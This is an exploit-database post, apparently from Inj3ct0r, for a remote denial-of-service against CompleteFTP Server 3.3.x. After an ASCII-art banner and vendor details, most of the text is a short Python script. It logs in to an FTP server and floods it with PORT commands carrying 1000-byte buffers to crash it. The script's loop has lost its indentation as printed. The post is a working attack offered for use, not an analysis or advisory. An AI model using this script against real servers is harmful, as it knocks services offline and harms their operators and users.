CompleteFTP Server 3.3.x PORT Denial Of Service

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CompleteFTP Server v 3.3.x "PORT" command Remote DOS exploit  
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1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ######################################## 1  
0 I'm eidelweiss member from Inj3ct0r Team 1  
1 ######################################## 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
Vendor: www.enterprisedt.com  
download: http://www.enterprisedt.com/products/completeftp/download/CompleteFTPSetup.exe  
Credit and Thanks: all friends & all Hacker`s  
Tested On: Windows XP (SP2 & SP3)  
  
#!/usr/bin/python  
  
import socket  
  
print '---------------------------------------------------------------------'  
print ' CompleteFTP Server v 3.3.x "PORT" command Remote Denial of Service'  
print ' author: eidelweiss'  
print ' mail: [email protected]'  
print '---------------------------------------------------------------------'  
  
buffer = "A" * 1000  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("127.0.0.1",21))  
s.send('USER %s\r\n' % "test")  
  
for i in range(1,69):  
s.send('PORT %s\n\n' % buffer)  
print "Sending request n. " + str(i)  
`